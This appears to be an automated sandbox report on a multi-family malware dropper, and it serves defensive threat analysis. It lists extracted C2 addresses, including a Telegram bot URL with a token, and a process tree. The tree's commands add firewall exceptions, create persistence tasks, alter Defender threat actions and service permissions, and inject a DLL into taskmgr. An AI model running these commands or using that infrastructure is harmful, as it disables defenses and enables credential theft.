Overview

overview

10

Static

static

7

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    65s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-05-2024 16:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    95e1a4f7faebaa8e0a21fea9fb011e9464bd798fba0e8d71b9052a444dd03b08.exe

  • Size

    1.7MB

  • MD5

    7af6f3859371068ae35e6f40b0adc04b

  • SHA1

    1138a92c78b4c11e81361958a85ee88fcd90a3ab

  • SHA256

    95e1a4f7faebaa8e0a21fea9fb011e9464bd798fba0e8d71b9052a444dd03b08

  • SHA512

    1aef62e73a75b26221d83e0e7452120c0544f9313d4eb09399260ec25311b957954e840b156b44ef8df10195f983e4f905e3562df3cd0f058e98344ce105c61e

  • SSDEEP

    24576:C04il10n3hNeyZuFfLElBjxtzFPPFfTdtwoZN0RGxZTGUyIio/Onl3RvXNG:tX10WyZuCBjfzlPFP6FKOnlpXo

Score
10/10
amadeyredlineriseprosectopratstealcxmrigxworm118befc@logscloudyt_botc767c0viczzvvbootkitdiscoveryevasionexecutioninfostealerminerpersistenceratspywarestealerthemidatrojan

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

18befc

C2

http://5.42.96.141

Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

risepro

C2

147.45.47.126:58709

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

C2

185.172.128.33:8970

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

stealc

Botnet

zzvv

C2

http://23.88.106.134

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000
Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

redline

Botnet

Vic

C2

beshomandotestbesnd.run.place:1111

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect Xworm Payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 2 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • XMRig Miner payload 4 IoCs
    miner
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 27 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • .NET Reactor proctector 5 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 45 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 4 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 32 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 30 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • NSIS installer 2 IoCs
    installer
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\95e1a4f7faebaa8e0a21fea9fb011e9464bd798fba0e8d71b9052a444dd03b08.exe
    "C:\Users\Admin\AppData\Local\Temp\95e1a4f7faebaa8e0a21fea9fb011e9464bd798fba0e8d71b9052a444dd03b08.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
          PID:1952
        • C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
          "C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:548
          • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
            "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1272
            • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
              "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3756
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                  PID:1184
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  6⤵
                    PID:3860
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                    • Checks computer location settings
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2512
                    • C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
                      "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4412
                    • C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
                      "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
                      7⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1208
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                      7⤵
                        PID:5076
                        • C:\Windows\SysWOW64\choice.exe
                          choice /C Y /N /D Y /T 3
                          8⤵
                            PID:3204
                    • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of WriteProcessMemory
                      PID:208
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        6⤵
                          PID:1700
                      • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2044
                        • C:\Users\Admin\AppData\Local\Temp\pl.exe
                          "C:\Users\Admin\AppData\Local\Temp\pl.exe"
                          6⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          PID:5004
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /k move Descriptions Descriptions.cmd & Descriptions.cmd & exit
                            7⤵
                              PID:224
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                8⤵
                                  PID:4624
                                • C:\Windows\SysWOW64\tasklist.exe
                                  tasklist
                                  8⤵
                                  • Enumerates processes with tasklist
                                  PID:1384
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /I "wrsa.exe opssvc.exe"
                                  8⤵
                                    PID:2196
                                  • C:\Windows\SysWOW64\tasklist.exe
                                    tasklist
                                    8⤵
                                    • Enumerates processes with tasklist
                                    PID:4296
                                  • C:\Windows\SysWOW64\findstr.exe
                                    findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
                                    8⤵
                                      PID:5728
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd /c md 331093
                                      8⤵
                                        PID:6128
                                      • C:\Windows\SysWOW64\findstr.exe
                                        findstr /V "EnquiryAnContributionRefers" Tank
                                        8⤵
                                          PID:5544
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c copy /b Ph + Shoot 331093\r
                                          8⤵
                                            PID:5840
                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\331093\Rent.pif
                                            331093\Rent.pif 331093\r
                                            8⤵
                                              PID:3188
                                            • C:\Windows\SysWOW64\PING.EXE
                                              ping -n 5 127.0.0.1
                                              8⤵
                                              • Runs ping.exe
                                              PID:5320
                                      • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                                        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
                                        5⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Drops file in Program Files directory
                                        • Suspicious use of WriteProcessMemory
                                        PID:4280
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                                          6⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:5096
                                          • C:\Windows\SysWOW64\sc.exe
                                            Sc stop GameServerClient
                                            7⤵
                                            • Launches sc.exe
                                            PID:4408
                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                            GameService remove GameServerClient confirm
                                            7⤵
                                            • Executes dropped EXE
                                            PID:3740
                                          • C:\Windows\SysWOW64\sc.exe
                                            Sc delete GameSyncLink
                                            7⤵
                                            • Launches sc.exe
                                            PID:1616
                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                            GameService remove GameSyncLink confirm
                                            7⤵
                                            • Executes dropped EXE
                                            PID:3144
                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                            GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            PID:3000
                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                            GameService start GameSyncLink
                                            7⤵
                                            • Executes dropped EXE
                                            PID:3140
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                                          6⤵
                                            PID:2800
                                            • C:\Windows\SysWOW64\sc.exe
                                              Sc stop GameServerClientC
                                              7⤵
                                              • Launches sc.exe
                                              PID:2324
                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                              GameService remove GameServerClientC confirm
                                              7⤵
                                              • Executes dropped EXE
                                              PID:1212
                                            • C:\Windows\SysWOW64\sc.exe
                                              Sc delete PiercingNetLink
                                              7⤵
                                              • Launches sc.exe
                                              PID:2696
                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                              GameService remove PiercingNetLink confirm
                                              7⤵
                                              • Executes dropped EXE
                                              PID:4408
                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                              GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                              7⤵
                                              • Executes dropped EXE
                                              PID:3972
                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                              GameService start PiercingNetLink
                                              7⤵
                                              • Executes dropped EXE
                                              PID:2396
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                                            6⤵
                                              PID:2760
                                              • C:\Windows\SysWOW64\sc.exe
                                                Sc delete GameSyncLinks
                                                7⤵
                                                • Launches sc.exe
                                                PID:1128
                                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                GameService remove GameSyncLinks confirm
                                                7⤵
                                                • Executes dropped EXE
                                                PID:3416
                                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                7⤵
                                                • Executes dropped EXE
                                                PID:2632
                                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                GameService start GameSyncLinks
                                                7⤵
                                                • Executes dropped EXE
                                                PID:1700
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                              6⤵
                                                PID:3592
                                            • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:5064
                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                6⤵
                                                • Loads dropped DLL
                                                • Checks processor information in registry
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:1536
                                            • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                                              "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:4300
                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                6⤵
                                                  PID:4624
                                              • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                                                5⤵
                                                • Checks computer location settings
                                                • Executes dropped EXE
                                                PID:3920
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                                                  6⤵
                                                  • Creates scheduled task(s)
                                                  PID:3756
                                              • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                                                "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                                                5⤵
                                                • Executes dropped EXE
                                                • Suspicious use of SetThreadContext
                                                PID:3380
                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                                                  6⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4956
                                                  • C:\Users\Admin\Pictures\fY5qtPIo6gfajl6aOLJTuTip.exe
                                                    "C:\Users\Admin\Pictures\fY5qtPIo6gfajl6aOLJTuTip.exe"
                                                    7⤵
                                                    • Executes dropped EXE
                                                    PID:740
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -nologo -noprofile
                                                      8⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4412
                                                    • C:\Users\Admin\Pictures\fY5qtPIo6gfajl6aOLJTuTip.exe
                                                      "C:\Users\Admin\Pictures\fY5qtPIo6gfajl6aOLJTuTip.exe"
                                                      8⤵
                                                        PID:5552
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -nologo -noprofile
                                                          9⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:4076
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                          9⤵
                                                            PID:4940
                                                            • C:\Windows\system32\netsh.exe
                                                              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                              10⤵
                                                              • Modifies Windows Firewall
                                                              PID:3148
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -nologo -noprofile
                                                            9⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:5348
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -nologo -noprofile
                                                            9⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:6008
                                                          • C:\Windows\rss\csrss.exe
                                                            C:\Windows\rss\csrss.exe
                                                            9⤵
                                                              PID:3668
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -nologo -noprofile
                                                                10⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                PID:1204
                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                10⤵
                                                                • Creates scheduled task(s)
                                                                PID:1476
                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                schtasks /delete /tn ScheduledUpdate /f
                                                                10⤵
                                                                  PID:6092
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -nologo -noprofile
                                                                  10⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  PID:5224
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -nologo -noprofile
                                                                  10⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  PID:5472
                                                                • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                                  10⤵
                                                                    PID:3932
                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                    10⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:5048
                                                                  • C:\Windows\windefender.exe
                                                                    "C:\Windows\windefender.exe"
                                                                    10⤵
                                                                      PID:5584
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                        11⤵
                                                                          PID:4080
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                            12⤵
                                                                            • Launches sc.exe
                                                                            PID:1232
                                                                • C:\Users\Admin\Pictures\qDmhNvmyYlrnFu6F27oTpMfp.exe
                                                                  "C:\Users\Admin\Pictures\qDmhNvmyYlrnFu6F27oTpMfp.exe" /s
                                                                  7⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Writes to the Master Boot Record (MBR)
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:1816
                                                                • C:\Users\Admin\Pictures\yWYoYzw9sFJTXBfdJgJ6F97w.exe
                                                                  "C:\Users\Admin\Pictures\yWYoYzw9sFJTXBfdJgJ6F97w.exe"
                                                                  7⤵
                                                                  • Executes dropped EXE
                                                                  PID:724
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -nologo -noprofile
                                                                    8⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1496
                                                                  • C:\Users\Admin\Pictures\yWYoYzw9sFJTXBfdJgJ6F97w.exe
                                                                    "C:\Users\Admin\Pictures\yWYoYzw9sFJTXBfdJgJ6F97w.exe"
                                                                    8⤵
                                                                      PID:1320
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -nologo -noprofile
                                                                        9⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        PID:4440
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                                        9⤵
                                                                          PID:4848
                                                                          • C:\Windows\system32\netsh.exe
                                                                            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                            10⤵
                                                                            • Modifies Windows Firewall
                                                                            PID:5392
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -nologo -noprofile
                                                                          9⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:5516
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5516 -s 2220
                                                                            10⤵
                                                                            • Program crash
                                                                            PID:3580
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -nologo -noprofile
                                                                          9⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:3152
                                                                    • C:\Users\Admin\Pictures\8v2IRJ3Ot5h8ZEWT00bDqpqJ.exe
                                                                      "C:\Users\Admin\Pictures\8v2IRJ3Ot5h8ZEWT00bDqpqJ.exe"
                                                                      7⤵
                                                                      • Executes dropped EXE
                                                                      • Enumerates connected drives
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:6100
                                                                    • C:\Users\Admin\Pictures\oCB6GZZuBFXHupV0kkH7fK5h.exe
                                                                      "C:\Users\Admin\Pictures\oCB6GZZuBFXHupV0kkH7fK5h.exe"
                                                                      7⤵
                                                                        PID:772
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS464B.tmp\Install.exe
                                                                          .\Install.exe /tEdidDDf "385118" /S
                                                                          8⤵
                                                                            PID:5888
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                              9⤵
                                                                                PID:5136
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                  10⤵
                                                                                    PID:904
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                      11⤵
                                                                                        PID:5052
                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                          12⤵
                                                                                            PID:4828
                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                        10⤵
                                                                                          PID:4324
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                            11⤵
                                                                                              PID:5716
                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                12⤵
                                                                                                  PID:5272
                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                              10⤵
                                                                                                PID:824
